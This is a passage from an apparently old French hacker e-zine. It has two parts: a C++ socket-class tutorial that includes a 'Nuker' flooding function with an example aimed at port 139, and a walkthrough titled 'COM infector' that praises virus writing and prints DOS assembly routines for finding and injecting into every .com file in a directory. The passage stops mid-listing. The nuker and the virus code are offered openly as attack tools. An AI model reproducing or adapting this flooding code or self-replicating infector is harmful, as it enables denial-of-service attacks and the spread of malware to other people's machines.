else
{
possible[4]++;
close(cli);
if (verbose) {
AfficherHeure();
cout << " : Client : Déconnexion\n";
}
possible[0] = 0;
possible[1] = 0;
possible[2] = 0;
possible[3] = 0;
} /*---- Fin Opération élémentaire 1 ----*/
}
Je n'ai pas énormément ce code, mais je l'ai espacé, de plus si certains passages
vous semblent sombres, n'hésitez pas à me mailer (ou à mieux rediriger votre lampe
de bureau ;)
Maintenant regardons l'exemple rapide del'utilisation de la classe CServeur :
verbose = true;
CBazSocket *o_baz = new CServeur(25, PF_INET, SOCK_STREAM, 0, verbose, 2);
/*Création du socket*/
o_baz->Creer();
/*Optionnel, seulement si on veut configurer les options du socket*/
if (type == SOCK_STREAM)
o_baz->Options(SOL_SOCKET, SO_REUSEADDR, 1);
else
if (type == SOCK_DGRAM)
o_baz->Options(SOL_SOCKET, IP_ADD_MEMBERSHIP, "224.0.0.0");
/*Connexion si nécéssaire*/
o_baz->Connecter();
/*Réception de données*/
o_baz->AfficherHeure();
cout << " : Serveur : Ecoute\nSaisir le mot-clé de votre choix, qui permet, lorsqu'il est reçu, d'arrêter l'écoute\n";
cin >> msgquit;
cout << "Ecoute activée ... ... (elle sera terminée à la réception du mot '" << msgquit << "')\n\n";
do
{
o_baz->Recevoir(0, 102400);
} while (strcmp(o_baz->buffsrv, msgquit) && strcmp(o_baz->buffsrv, strcat(msgquit, "\n")) && o_baz->possible[3] == 2);
/*Envoi de données si possible*/
o_baz->AfficherHeure();
cout << " : Serveur : Envoi\nSaisir le mot-clé de votre choix, qui permet, lorsqu'il est tapé, d'arrêter l'envoi\n";
cin >> msgquit;
cout << "\t\tTapez maintenant les phrases à envoyer, validez par [Entrée]\n\t\tflèche droite pour les espaces, '" << msgquit << "' pour quitter\n\n";
do
{
fgets(msg, 102400, stdin);
o_baz->Envoyer(msg, strlen(msg));
} while (strcmp(msg, msgquit) && o_baz->possible[2] == 2);
/*Déconnexion si nécéssaire*/
o_baz->Deconnecter();
Etudions maintenant des Classes utilisant CClient et CServeur
III. Programmes et Protocoles :
_______________________________
Nous étudierons une méthode de CApplications, et une de classe de protocole
( je n'ai implémenté que le protocole POP3 pour l'instant ). Chaque protocole
a une classe qui lui est dédiée, contrairement aux applications qui n'ont qu'une
fonction membre.
Etudions la fonction membre Nuker de la classe CApplications :
void CApplications::Nuker(char *nomserveur, char *msg, unsigned short int port, unsigned long int nbrfois)
{
unsigned long int i = 0;
long int j = 0;
char *a = new char[256];
possible[0] = 0;
o_baz = new CInformations(verbose, 1);
o_baz->Serveur(nomserveur);
if (o_baz->he == NULL) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Nuker : Impossible d'obtenir des infos sur l'hôte à scanner\n");
}
}
else
{
possible[0]++;
if (inet_ntop(PF_INET, (in_addr *)o_baz->he->h_addr_list[0], a, 256) == NULL) /*---- Début Opération élémentaire 2 ----*/
{
/*if (inet_ntop(PF_INET6, (in6_addr *)o_baz->he->h_addr_list[0], a, 256) != NULL)
{
possible[0]++;
o_baz = new CClient(a, port, 0, PF_INET6, SOCK_STREAM, 0, verbose, 1);
}*/
}
else
{
possible[0]++;
o_baz = new CClient(a, port, 0, PF_INET, SOCK_STREAM, 0, verbose, 1);
} /*---- Fin Opération élémentaire 2 ----*/
o_baz->Creer();
o_baz->Connecter();
if (o_baz->possible[1] != 5) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Nuker : Impossible de se connecter\n");
}
}
else
{
possible[0]++;
for (i=0; i<nbrfois && o_baz->possible[2] == 2; i++) /*---- Début Opération élémentaire 4 ----*/
{
o_baz->Envoyer(msg, strlen(msg));
if (o_baz->taillebuffcli > 0 && verbose)
{
AfficherHeure();
cout << "(Envoi n°" << i+1 << ")\n";
}
else
{
if (verbose)
fprintf(stderr, "erreur d'envoi\n");
}
}
o_baz->Deconnecter();
if (verbose) {
AfficherHeure();
cout << " : Nuker : Nuke de la machine " << nomserveur << " réussi\n";
}
possible[0]++; /*---- Fin Opération élémentaire 4 ----*/
} /*---- Fin Opération élémentaire 3 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
delete[] a;
}
Il s'agit d'un bête nuker pas spécialement optimisé (pour celà il faut le faire en C), mais qui présente
l'avantage d'une réelle simplicité. En effet on peut créer un nuker en 1 ligne de code en utilisant cette
classe :
CBazSocket *o_baz = new CApplications(true, 2);
o_baz->Nuker(156.123.12.76, "hihihihihi", 139, 10000);
Enverra 10000 fois le message "hihihihihi" à 156.123.12.76 sur son port 139.
Facile non ?
Maintenant étudions la mise en oeuvre du protocole POP3, que j'ai réalisé en lisant la RFC 1939.
Voici la définition de la classe CPOP3 :
class CPOP3 : public CBazSocket
{
public :
CPOP3(bool verbose = true, short int affichage = 1);
virtual ~CPOP3();
virtual void ClientPOP3_Connecter(char *nomserveur); /*possible[0] // 4 opérations élémentaires*/
virtual void ClientPOP3_UserPass(char *user, char *pass); /*possible[1] // 3 opérations élémentaires*/
//virtual void ClientPOP3_APOP(char *user, char *pass); /*possible[1] // x opérations élémentaires*/
virtual void ClientPOP3_Stats(); /*possible[2] // x opérations élémentaires*/
virtual void ClientPOP3_Lister(unsigned long int numero = 0); /*possible[2] // x opérations élémentaires*/
/*Mettez 0 comme argument (ou bien aucun argument) pour tout lister*/
virtual void ClientPOP3_VoirEnTete(unsigned short int numero = 1, unsigned long int nbrlignes = 0); /*possible[2] // x opérations élémentaires*/
virtual void ClientPOP3_AfficherMail(unsigned short int numero = 1, long int taillemin = 10, long int taillemax = 10); /*possible[2] // x opérations élémentaires*/
virtual void ClientPOP3_EffacerMail(unsigned short int numero = 0); /*possible[2] // x opérations élémentaires*/
virtual void ClientPOP3_RestaurerTous(); /*possible[2] // x opérations élémentaires*/
virtual void ClientPOP3_Quitter(); /*possible[2] // x opérations élémentaires*/
virtual void ServeurPOP3();
private :
CBazSocket *o_baz;
bool ClientPOP3_Recevoir(long int taillemin, long int taillemax);
struct listage
{
short int nbrmails;
short int *taillesmails;
};
};
Vous remarquerez le membre private *o_baz, qui est un pointeur vers un objet de la classe de base, afin
d'utiliser CClient.
Nous allons nous intéresser au client POP3, qui doit se connecter à un serveur POP3. Pour tester mon client
POP3 sans être constamment sur le Net, j'ai aussi créé le serveur POP3, qui est donc un environnement de
test pour le client, mais qui ne nous intéressera pas ici.
A noter que comme pour les Réseau de Neurones, l'environnement de test est aussi dur à réaliser que
le Réseau de Neurones en lui-même (bon c'était pas tout à fait le cas ici malgré tout ;)
Etudions la première fonction, Connecter() :
void CPOP3::ClientPOP3_Connecter(char *nomserveur)
{
buffpop3 = new char[256];
possible[0] = 0;
o_baz = new CInformations(verbose);
o_baz->Serveur(nomserveur);
if (o_baz->he == NULL) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible d'obtenir des infos sur le serveur POP3\n");
}
}
else
{
possible[0]++;
if (inet_ntop(PF_INET, (in_addr *)o_baz->he->h_addr_list[0], buffpop3, 256) == NULL) /*---- Début Opération élémentaire 2 ----*/
{
/*if (inet_ntop(PF_INET6, (in6_addr *)o_baz->he->h_addr_list[0], buffpop3, 256) != NULL)
{
possible[0]++;
o_baz = new CClient(a, 110, 0, PF_INET6, SOCK_STREAM, 0, false, 2);
}*/
}
else
{
possible[0]++;
o_baz = new CClient(buffpop3, 110, 0, PF_INET, SOCK_STREAM, 0, verbose, 2);
} /*---- Fin Opération élémentaire 2 ----*/
o_baz->Creer();
o_baz->Options(SOL_SOCKET, SO_RCVBUF, 102400);
o_baz->Connecter();
if (o_baz->possible[1] != 5) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de se connecter sur %s\n", nomserveur);
}
}
else
{
possible[0]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Connexion réussie sur " << nomserveur << endl;
}
if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 4 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Erreur\n\t");
}
}
else
{
possible[0]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : +OK\n\t";
}
} /*---- Fin Opération élémentaire 4 ----*/
} /*---- Fin Opération élémentaire 3 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
}
On recherche donc d'abord le serveur grâce à la classe CInformations, et plus précisément
sa fonction membre Serveur() (informations sur un serveur).
Ensuite on réutilise le pointeur de la classe de base pour stocker un objet de type CClient.
Puis ce client se connecte tout simplement au serveur POP3 !
Voici maintenant la méthode permettant de s'identifier :
void CPOP3::ClientPOP3_UserPass(char *user, char *pass)
{
buffpop3 = new char[256];
short int afftmp = o_baz->affichage;
possible[1] = 0;
if (possible[0] != 4) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible de s'identifier, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n");
}
}
else
{
possible[1]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission du nom d'utilisateur " << user << endl;
}
sprintf(buffpop3, "USER %s\r\n", user);
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : L'user %s est inconnu\n\t", user);
}
}
else
{
possible[1]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : User OK\n\t";
}
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission du mot de passe " << endl;
}
sprintf(buffpop3, "PASS %s\r\n", pass);
o_baz->affichage = 0; /*Ne pas afficher le pass envoyer*/
o_baz->Envoyer(buffpop3, strlen(buffpop3));
o_baz->affichage = afftmp;
if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Le password est mauvais\n\t");
}
}
else
{
possible[1]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Password OK\n\t";
}
CPOP3::ClientPOP3_Lister();
} /*---- Fin Opération élémentaire 3 ----*/
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
memset(pass, 0, strlen(pass)+1); /*Effacement total du mot de passe*/
memset(buffpop3, 0, strlen(buffpop3)+1); /*Effacement total du mot de passe*/
}
La RFC indique que le client doit envoyer la commande USER nomutilisateur\r\n
puis PASS password\r\n, ce que fait donc cette méthode en utilisant ses arguments.
void CPOP3::ClientPOP3_Stats()
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible d'afficher les statistiques de votre compte, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n");
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête de statistiques du compte\n";
}
sprintf(buffpop3, "STAT\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de reçevoir les statistiques du compte\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Statistiques reçues\n\t";
}
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête de statistiques des messages\n";
}
sprintf(buffpop3, "UIDL\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de reçevoir les staistiques des messages\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Statistiques reçues\n\t";
}
} /*---- Fin Opération élémentaire 3 ----*/
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
}
Les commandes STAT\r\n et UIDL\r\n font partie de la RFC, et permettent d'obtenir des informations
à propos des messages ou du compte.
Maintenant listons nos mails, avec la commande LIST de la RFC :
void CPOP3::ClientPOP3_Lister(unsigned long int numero)
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible de lister vos mails, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n");
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête de listage\n";
}
if (numero > 0)
sprintf(buffpop3, "LIST %d\r\n", numero);
else
sprintf(buffpop3, "LIST\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de lister les mails\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Listage OK\n\t";
}
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
;
}
Puis voyons l'en-tête d'un mail donné avec la commande optionnelle de la RFC, mais en générale
implémentée dans les serveurs, à savoir TOP :
void CPOP3::ClientPOP3_VoirEnTete(unsigned short int numero, unsigned long int nbrlignes)
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible d'afficher l'en-tête du mail n° %d, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n", numero);
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête pour voir l'en-tête du mail " << numero << "\n";
}
sprintf(buffpop3, "TOP %d %d\r\n", numero, nbrlignes);
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 102400)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de voir l'en-tête\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : En-tête du mail n° " << numero << " reçue\n\t";
}
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
;
}
Et la commande la plus importante, AfficherMail, grâce à RETR.
Analysez, vous verrez que c'est facile !
void CPOP3::ClientPOP3_AfficherMail(unsigned short int numero, long int taillemin, long int taillemax)
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3 || taillemax < 4) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible d'afficher le mail n° %d, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n\t* Moins de 4 octets seront reçus !", numero);
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête pour afficher le mail " << numero << "\n";
}
sprintf(buffpop3, "RETR %d 0\r\n", numero);
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(taillemin, taillemax)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible d'afficher ce mail\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Mail n° " << numero << " reçu\n\t";
}
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
}
La fonction qui va suivre permet d'effacer un mail de la méoire, puis du disque du serveur si
vous le quittez proprement (commande DELE) :
void CPOP3::ClientPOP3_EffacerMail(unsigned short int numero)
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible d'effacer vos mails, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n");
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête d'effacement du mail " << numero << endl;
}
sprintf(buffpop3, "DELE %d\r\n", numero);
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible d'effacer le mail n°%d\n\t", numero);
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Le mail n°" << numero << " sera bien effacé lorsque vous quitterez proprement le serveur\n\t";
}
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
}
Cette fonction RestaurerTous annule tous les appels à la précédente (commande RSET) :
void CPOP3::ClientPOP3_RestaurerTous()
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible de restaurer vos mails, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n");
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête de récupération de tous les mails\n";
}
sprintf(buffpop3, "RSET\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de restaurer vos mails\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Tous vos mails ont été restaurés et ne seront pas effacés lorsque vous quitterez\n\t";
}
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
}
Et enfinl acommande QUIT\r\n qui permet de quitter proprement un serveur POP3 :
void CPOP3::ClientPOP3_Quitter()
{
buffpop3 = new char[256];
possible[2] = 0;
if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3: Impossible de quitter votre compte, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n");
}
}
else
{
possible[2]++;
if (verbose) {
printf("\n");
AfficherHeure();
cout << " : Soumission de la requête pour quitter\n";
}
sprintf(buffpop3, "QUIT\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));
if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client POP3 : Impossible de quitter proprement le serveur\n\t");
}
}
else
{
possible[2]++;
if (verbose) {
AfficherHeure();
cout << " : Client POP3 : Serveur quitté proprement\n\t";
}
} /*---- Fin Opération élémentaire 2 ----*/
o_baz->Deconnecter();
} /*---- Fin Opération élémentaire 1 ----*/
}
Et voici la fonction private utilisée en tant que surcouche de CClient::Recevoir() :
bool CPOP3::ClientPOP3_Recevoir(long int taillemin, long int taillemax)
{
do
{
o_baz->Recevoir(taillemin, taillemax);
if (o_baz->taillebuffcli > 0)
{
if (! strncmp(o_baz->buffcli, "+OK", 3))
return true;
if (! strncmp(o_baz->buffcli, "-ERR", 4))
return false;
}
else
return false;
} while (1);
}
/*---------------------------------------------------------------------------*/
Cette fonction tient compte du résultat du serveur, qui est soit +OK xxxxx, soit
-ERR xxxxxxx
Je vous conseille, pour mieux comprendre, de lire la RFC 1939, qui peut se trouver sur
"http://www.armware.dk/RFC"
Conclusion :
____________
Voilà j'ai terminé mon petit tutorial, qui était en fait un survol de mes classes
pour vous montrer ma méthodologie de travail, dont vous pourrez vous inspirer pour
faire vos propres classes. Vous pouvez attendre la sortie officielle de CAPRU, ou
me la demander par mail (en version de développement) si ce cours vous a vraiment
intéressé. Je remercie les membres de IOC pour avoir publié ces lignes :)
---------------------------------------------------------------------------------------
X. COM infector Li0n7
---------------------------------------------------------------------------------------
[ Introduction ]
Révolté par cette tendance actuelle à préférer la facilité en optant pour la
programmation de virus en vbs/js? Tendance qui ne démontre que trop bien une
incompétence flagrante de la part des pseudo <<programmeurs>> de 12/13 ans fiers
de répandre leurs vomissures puérils sur le net. Lovelette a ouvert la marche,
et depuis, des clones se multiplient sans cesse sur la toile, dégradant l'image
du codeur de virus. La programmation virale est loin d'être une mince affaire,
loin de là, et, de ce fait, des virus telles que CIH ou Chernobyl ont complétement
disparues, le relai n'a pu être passé, la majorité des jeunes programmeurs étant
tournés vers des langages pitoyables, il faut le dire, qui ne sont que des langages
de script affreusement limités et d'une simplicité déconcertante. Morris n'est plus
qu'une légende, la scène l'ombre d'elle même.
[ Sommaire ]
I. Description
II. Programmation
III. Code source
IV. Conclusion
I. Description
________________
S'il fallait choisir un langage, ce serait l'assembleur. Pourquoi un
langage d'assemblage ? L'asm représente un compromis parfait entre vitesse
d'éxécution, du fait qu'il se rapproche le plus du processeur et qu'aucune
librairie n'est nécéssaire à son éxécution, polyvalence et potentiel de
destruction. Les ouvertures possibles en assembleur n'ont aucune limite, si
ce n'est vos capacités de coder. MBR/BOOT sector writing, polymorphic engine,
multiple file format infector... Tout est accessible et dans un nombre de cycles
processeur infime en comparaison des langages de haut niveau!
[ Fonctionnement ]
Nous allons commencer par un virus simple d'accès, c'est un com infector,
non résidant en mémoire. Il va se contenter d'établir une liste de tous les
fichiers en .com du répertoire courant et va se recopier dans chacun d'eux,
de manière à ce qu'à chaque lancement du .com le virus se lance en parallèle
sans géner le processus du fichier infecté. Le code du virus est ainsi totalement
transparent.
+------------+ -> offset virus
|0x09E0 virus| -> jmp offset fichier
+------------+ +------------+ -> offset file
| FICHIER | | FICHIER |
| .COM | |----¤----> | .COM | -> corps du fichier
| A INFECTER | injection | INFECTE |
+------------+ du virus +------------+ -> offset virus
|INSTRUCTIONS|
| VIRUS |
+------------+
|0x09E0 file | -> jmp offset file
+------------+
Donc d'après ce schéma, il y a 3 parties importante qui sont gréffées lors de
l'injection de notre virus. Tout d'abord au début du fichier est ajouté un jump
pointant sur l'offset du code du virus, ainsi lors de l'éxécution du .com infecté,
le cpu jump sur le virus situé à la fin du fichier. Ensuite les instructions du
virus sont placés à la fin comme je l'ai dit précédemment, c'est donc à ce niveau
là que le code malveillant est inséré, ici en l'occurence la routine d'infection
des .com. Et enfin un jmp prenant pour argument l'offset du fichier infecté se voit
ajouté à la fin. Cette structure est générique donc mémorisez la bien. La taille du
fichier est donc légérement augmenter, ceci reste quasi invisible, vu le faible
niveau d'interprétation de l'assembleur! Notez L'instruction 0x09E0 correspond à
un saut inconditionnel jump en langage machine ;-) Si les adresses passés en
argument aux jmp sont mal calculées, c'est le plantage, et il n'y aura pas de nop
pour rectifier le tir cette fois-ci! Passons à la programmation de la bestiole.
II. Programmation :
___________________
Il s'agit donc d'infecter tous les .com du répertoire courant, en s'auto-injectant
dedans de manière à ne pas déranger le processus du fichier hôte. Tout d'abord nous
allons émuler un saut qui sera placé dans le programme infecté, puis créer une routine
de fin pour rendre la main au DOS.
------8<--------------------
.model tiny ;on aura recourt à une petite pile
.code
org 100h ;les coms commencent à 100h
Virus:
jmp Start ;notre saut
nop ;0x90
mov ax,0900h ;on affiche un petit message :-D
mov dx,offset hello
int 21h
mov ax,4C00h ;code de sortie dans l'accumulateur
int 21h ;interruption DOS, on quitte
------8<--------------------
Ensuite, nous devons récupérer l'offset réèl de notre virus, c'est à dire
calculer l'adressage de notre label dans le fichier hôte. Pour cela, nous
soustrayons l'offset de notre label getadd: à l'adresse relative de getadd:
obtenue après compilation.
------8<--------------------
Start:
call getadd ;on call notre procédure
getadd: ;l'adresse est pushée sur la stack
pop bp ;on récupère l'adresse sur la pile
sub bp,offset getadd ;on l'a soustrait à l'adresse relative de getadd
------8<--------------------
A présent il nous faut définir une table DTA pour récupérer la taille du fichier
DTA est un tableau de bits nous reinseignant sur les différents paramètres
du fichier précédemment ouvert. Il nous est plus qu'utile, car nous ne connaissons
ni le nom, ni les attributs ou taille des fichiers que nous allons ouvrir et
manipuler avant injection du virus. On fait appel à ce tableau via l'instruction
| DTA |
------------------------------------------------------------
Offset Size Function
0h 21 Bytes Reserv
15h 1 Byte Attributs du fichier
16h 2 Bytes(WORD) Time du fichier
18h 2 Bytes(WORD) Date du fichier
1Ah 4 Bytes(DWORD) Taille du fichier
1Eh 13 Bytes Nom du fichier
------------------------------------------------------------
Nous allons commencer par appliquer le décalage relatif à l'offset de dta que nous
allons stocker dans le registre de données (dx).
------8<--------------------
MDTA:
push cs
pop ds
mov dx,offset DTA ;dx <- table DTA
add dx,bp ;décalage
mov ah,1Ah ;offset correspondant à la taille du fichier dans DTA
int 21h
------8<--------------------
Occupons nous maintenant de replacer les octets originaux que nous avons déplacés
dans le com hôte lors de l'infection (en ajoutant un jmp pointant sur le début du
virus) sans ça, il va planter son adressage étant complétement décalé.
Pour cela il nous suffit juste de déplacer ces octets du data segment vers
l'extra segment à partir de 100h, soit le début du .com. On va ainsi transmettre
les 4 octets de ds:si vers es:di.
------8<--------------------
Offset_hote:
push cs
pop ds
mov si,offset begin ;ds:si <- offset begin
add si,bp ;on applique le décalage
push cs
pop es ;es <- cs
mov di,100h ;es:di pointe au début du .com (adresse: 0x0100)
mov cx,4 ;on place le compteur à 4
rep movsb ;et on replace les 4 octets originaux
------8<--------------------
Nous entrons dans le vif du sujet! Commençons avant d'infecter les fichiers par les
lister! On va donc se construire une liste de tous les .com du répertoire courant.
Pour cela nous allons utiliser le code 0x004E de l'interruption DOS 0x21 donc voici
la syntaxe:
Interruption 21h, code 4EH : recherche fichier
entrée:
AH = 4Eh
CL = attributs de fichier
DS:DX = pointeur sur le chemin du fichier
sortie:
AX = 0 si la recherche a abouti ou numéro d'erreur sinon
Comme attributs, nous définirons 7, qui représente tous les attributs et comme path
*.com, soit tous les .com du current directory. La recherche lancée, nous sonderons
ax pour récupérer le code de sortie, s'il est égale à 18, c'est que la recherche est
terminée, sinon on ouvre le fichier on lance la routine infected qui vérifie si le fichier
est infecté, si non on call le processus infect.
------8<--------------------
ccherche:
push cs
pop ds
mov dx,offset com_file ;notre path *.com
add dx,bp ;décalage...
mov cl,7 ;tout attribut
mov ah,4Eh
int 21h
cmp ax,18 ;nous comparons ensuite
loop_cherche:
jz quit_now ;recherche finie? On quitte
push cs
pop ds
mov dx,offset DTA + 1Eh ;nom du fichier dans la DTA_Table
add dx,bp ;décalage
mov ax,3D02h ;ouverture en lecture/écriture
int 21h
mov bx,ax ;on place le handle du fichier dans bx
jc quit_now ;erreur? On quitte
jnz Infect ;sinon on injecte le virus
------8<--------------------
Il s'agit ensuite de fermer le fichier après la routine d'infection (jmp Infect) et de relancer
la recherche en utilisant le code 0x004F de l'interruption 0x21 qui effectue une recherche en
prenant en argument ceux entrés précédemment (recherche fichier, voir ci-dessus). On effectue
donc un saut inconditionnel vers l'offset de loop_cherche (la boucle de recherche des .com).
------8<--------------------
Close_file:
mov ah,3Eh ;code de fermeture
int 21h ;interruption
trouve:
mov ah,4Fh ;rechercher le suivant
int 21h
cmp ax,18 ;recherche achevée?
jmp loop_cherche ;on saute à loop_cherche
------8<--------------------
A présent, il ne nous reste que deux fonctions à déclarer avant la
procédure finale d'infection :
quit_now: qui va nous servir à rendre la main au DOS en pushant l'adresse
de début du .com (100h) ou commence l'hôte (le label virus:) qui affiche un
message et quitte (0x4C00). infected: label vérifiant l'infection d'un programme
pour ne pas s'injecter plusieurs fois dans ce-dernier et ainsi créer une boucle
d'infection infinie qui planterait windows. Parlons un peu de l'infection, comment
allons-nous pouvoir affirmer avec certitude qu'un programme a déjà été infecté ?
Nous allons nous servir de la méthode ingénieuse d'Androgyne (rtcmag n°2) qui
consiste à modifier la date de modification dudit fichier! C'est très simple il
nous suffit d'utiliser le code 0x57 de l'interruption DOS 0x21, voici la syntaxe :
Interruption, code 57h: manipulation des paramètres d'un fichier
Sous fonction 00h : lecture date et heure de modification d'un fichier
entrée:
AH = 57h
AL = 00h
BX = handle du fichier (retournée par la fonction d'ouverture dans ax)
sortie:
AX = code d'erreur en cas d'erreur
CX = 2048*heure + 32*minute + seconde/2
DX = 512*année + 32*mois + jour
registre flag C mis à 1 si une erreur est survenue
Sous fonction 01h : Définir date et heure de modification d'un fichier
entrée:
AH = 57h
AL = 01h
BX = handle du fichier (retournée par la fonction d'ouverture dans ax)
CX = 2048*heure + 32*minute + seconde/2
DX = 512*année + 32*mois + jour
sortie:
AX = code d'erreur en cas d'erreur
registre flag C mis à 1 si une erreur est survenue
------8<--------------------
quit_now:
mov ax,100h ;adresse de commencement du .com
push ax ;on push cette valeur en haut de la pile
ret ;on redonne la main au processus appelant
infected:
